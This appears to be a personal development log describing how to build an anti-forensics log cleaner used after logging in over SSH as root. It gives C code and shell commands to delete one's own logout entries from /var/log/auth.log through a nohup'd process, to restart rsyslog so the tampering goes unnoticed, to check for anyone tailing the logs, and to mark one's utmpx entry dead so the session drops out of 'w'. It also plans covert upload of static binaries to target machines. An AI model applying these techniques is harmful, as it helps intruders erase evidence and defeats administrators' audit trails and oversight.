Stay out of the logs — /var/log/auth.log

PROBLEM: the auth.log gets appended to after logging out…

Oct 24 00:38:23 gateway sshd[1801]: pam_unix(sshd:session): session closed for user root

You can erase all other traces but not that…

Let’s try adding a process right before logging out, and NOHUP’ing it.. after we log out and the entry is appended, our process will wait 5-10 seconds before opening up the file, finding the line and deleting it..

root@gateway:~# date
Fri Oct 24 00:43:12 EDT 2014

Everything will be checked on the same minute:
here is an example /var/log/auth.log

Oct 24 00:36:15 gateway su[1773]: pam_unix(su:session): session closed for user root
Oct 24 00:36:17 gateway sshd[1758]: Received disconnect from 192.168.1.2: 11: disconnected by user
Oct 24 00:36:17 gateway sshd[1756]: pam_unix(sshd:session): session closed for user bazz
Oct 24 00:36:20 gateway sshd[1801]: Accepted password for root from 192.168.1.2 port 53974 ssh2
Oct 24 00:36:20 gateway sshd[1801]: pam_unix(sshd:session): session opened for user root by (uid=0)
Oct 24 00:38:23 gateway sshd[1801]: Received disconnect from 192.168.1.2: 11: disconnected by user
Oct 24 00:38:23 gateway sshd[1801]: pam_unix(sshd:session): session closed for user root
Oct 24 00:38:27 gateway sshd[1826]: Accepted password for root from 192.168.1.2 port 53984 ssh2
Oct 24 00:38:27 gateway sshd[1826]: pam_unix(sshd:session): session opened for user root by (uid=0)
Oct 24 00:40:01 gateway CRON[1843]: pam_unix(cron:session): session opened for user bazz by (uid=0)
Oct 24 00:40:02 gateway CRON[1843]: pam_unix(cron:session): session closed for user bazz
Oct 24 00:42:06 gateway sshd[1826]: Received disconnect from 192.168.1.2: 11: disconnected by user
Oct 24 00:42:06 gateway sshd[1826]: pam_unix(sshd:session): session closed for user root
Oct 24 00:42:10 gateway sshd[1851]: Accepted password for root from 192.168.1.2 port 54035 ssh2
Oct 24 00:42:10 gateway sshd[1851]: pam_unix(sshd:session): session opened for user root by (uid=0)
Oct 24 00:42:28 gateway sshd[1851]: Received disconnect from 192.168.1.2: 11: disconnected by user
Oct 24 00:42:28 gateway sshd[1851]: pam_unix(sshd:session): session closed for user root
Oct 24 00:42:31 gateway sshd[1867]: Accepted password for root from 192.168.1.2 port 54036 ssh2
Oct 24 00:42:31 gateway sshd[1867]: pam_unix(sshd:session): session opened for user root by (uid=0)

root@gateway:~# date +"%b %d %H:%M:"
Oct 24 00:47:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char logtime_str[1035];

char * current_minute_log_str()
{

  FILE *fp;
  int status;
  
  /* Open the command for reading. */
  fp = popen("/bin/date \"+%b %d %H:%M:\"", "r");
  if (fp == NULL) {
    printf("Failed to run command\n" );
    return NULL;
  }

  /* Read the output a line at a time - output it. */
  while (fgets(logtime_str, sizeof(logtime_str)-1, fp) != NULL) {
    logtime_str[strlen(logtime_str)-1]=0; // take out \n
    ///printf("%s", logtime_str);
  }

  //printf("%b %d %t\n");

  /* close */
  pclose(fp);

  return logtime_str;
}

int main()
{
  char *str = current_minute_log_str();

  printf("%s", str);

  return 0;
}

 
Test shows that I can in fact nohup a command, logout, the log message is appended that I logged out.
The nohup’d command can then finish the audit process. This same process should be done to the WTMP/WTMPX logs to eliminate the final “DEAD_PROCESS” log..

Everythings working except one thing.. Make sure to chgrp and chown the auth.log to the correct things!!
same for utmp and wtmp etc.

nohup ./a.out -u root -t 5 > /dev/null &

problem now is that the log stops being updated after my tamporing.. so here’s the last bit of magic:

service rsyslog restart

this causes the following to show up in /var/log/syslog:

Oct 24 03:49:23 gateway rsyslogd: [origin software="rsyslogd" swVersion="7.4.4" x-pid="660" x-info="http://www.rsyslog.com"] exiting on signal 15.
Oct 24 03:49:23 gateway rsyslogd: [origin software="rsyslogd" swVersion="7.4.4" x-pid="1445" x-info="http://www.rsyslog.com"] start
Oct 24 03:49:23 gateway rsyslogd: rsyslogd's groupid changed to 104
Oct 24 03:49:23 gateway rsyslogd: rsyslogd's userid changed to 101
Oct 24 03:49:23 gateway rsyslogd-2039: Could no open output pipe '/dev/xconsole': No such file or directory [try http://www.rsyslog.com/e/2039 ]

But that’s miniscule.
It works :) BUTNOTEit will stop a tail -f session from updating.. someone could notice what happened if they were tailing the auth log.. should ps -aux for tail to make sure…

It is possible to scan thru the log file once to get the logged out process number, but beware that this number is re-used throughout the log, so to be cautious you must have a time boundary.. can you use strcmp to check between time boundary??

we can get that pid from the shell:

bazz@grn[pts/1][~] lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 12.04.5 LTS
Release:	12.04
Codename:	precise
bazz@grn[pts/1][~] cat /proc/$$/status | grep PPid | cut -f2 | xargs -n1 -I{} cat /proc/{}/status | grep PPid | cut -f2
25118
bazz@grn[pts/1][~] pstree -Asp $$
init(1)---sshd(1124)---sshd(25118)---sshd(25304)---bash(25305)---pstree(25416)
bazz@grn[pts/1][~] which xargs
/usr/bin/xargs
bazz@grn[pts/1][~] which cat
/bin/cat
bazz@grn[pts/1][~] which cut
/usr/bin/cut
bazz@grn[pts/1][~] which grep
/bin/grep
bazz@grn[pts/1][~]

That was also tested fine on Ubuntu 14.04, but this wont work on Solaris 8 because their proc structure is different.. Ideally, this will all be done in C so there is no rely on these various command line applications..

note on Solaris 8.. /etc/syslog.conf /etc/hosts — need to check which machine is the loghost.. this machine is the one that gets the logs!!!

Note
There is one less SSHD process when logged in as ROOT, so, to get the correct PPID is actually simpler:

cat /proc/$$/status | grep PPid | cut -f2

To properly sweet the auth log:
.) Find the PID
.) Sweep the log to find the last instance of (strstr) “sshd[PID]: Accepted”
.) add cmd-line option to only delete the “log-out” part. incase I manually deleted it
.) remove all lines with that SSHD[PID] line from that last instance..

Ideally, The greatest thing would be a text GUI of all of the Utmp/Wtmp entries, or the auth.log, with little check boxes to their right, where I can check with entries I’d like to remove.. A text file is written to /tmp (and removed at later execution), which the log cleaner uses when it is NOHUP’d.

I am learning NCurses library to this extent.

sudo apt-get install libncurses5-dev ncurses-doc libgpm-dev

I am looking to compile statically.. And libgpm is required..

The downside of creating this app with NCurses, is that there is no hope of being able to compile this app “in the field.” Although even that relies on a compiler being present. And that is why I compile statically. I can upload via uuencode/decode to the target machine and execute. a 32-bit executable is reliable on 64-bit machines.. But what if uuencode/decode are not present?? Hm.. The only thing I can think of is by creating shellcode of the binary, putting into a PTY program with a shortcut code that writes it to the raw terminal, which is set to cat into a file.. Use the shortcut key to exit raw terminal mode and ctrl-C out of cat..
That’s a lot for now, just rely on uuencode/decode :P BUT!! It would be really cool if client/side PTY program could have the ability “cat local file/binary into buffer,” then there is a key to output that buffer into remote-end.. That would be very cool
Just have to ensure that the paths to the logs are correct.. Being able to supply these in the command line arguments or within the application is a bonus, and covers my arse.

Remove oneself from UTMP/X
This will remove me from “w” command, but I am still visible in “ps” my shell process is visible..
can track a user using the “top” command

top -u bazz

the 2 SSHD is a giveaway:

root      5891  0.0  0.2   7800  2468 ?        Ss   07:31   0:00 /usr/sbin/sshd -D
root      5992  0.0  0.3  11132  3588 ?        Ss   07:35   0:00 sshd: root@pts/0

remove_self_from_utmpx()
{
  char ttynn[100];
  int i=0;
  // get my current pts
  //char *ttyname(int fildes);
  
  // cant fuck with TTY when we NOHUP it
  ttyn = ttyname(0);  // 0 is FD stdin
  ttyn += 5; // remove "/dev/"
  printf ("tty is %s\n", ttyn);
  strcpy(ttynn, ttyn);

  // we can glean what to do from "W" command source code
  struct utmpx *p;
  while ( (p = getutxent()) )
  {
    
    if (!strcmp(p->ut_user, username)  && !strcmp(p->ut_line, ttynn))
    {
      printf ("%s\n", username);
      print_utmpx_info(p,i++);
      p->ut_type=DEAD_PROCESS;
#ifdef sun
      while(p->ut_syslen)
      {
        p->ut_host[--p->ut_syslen] = 0;
      }
      p->ut_syslen=0;
#endif
      //print_utmpx_info(p,i++);
      pututxline(p);
    }
    
  }
}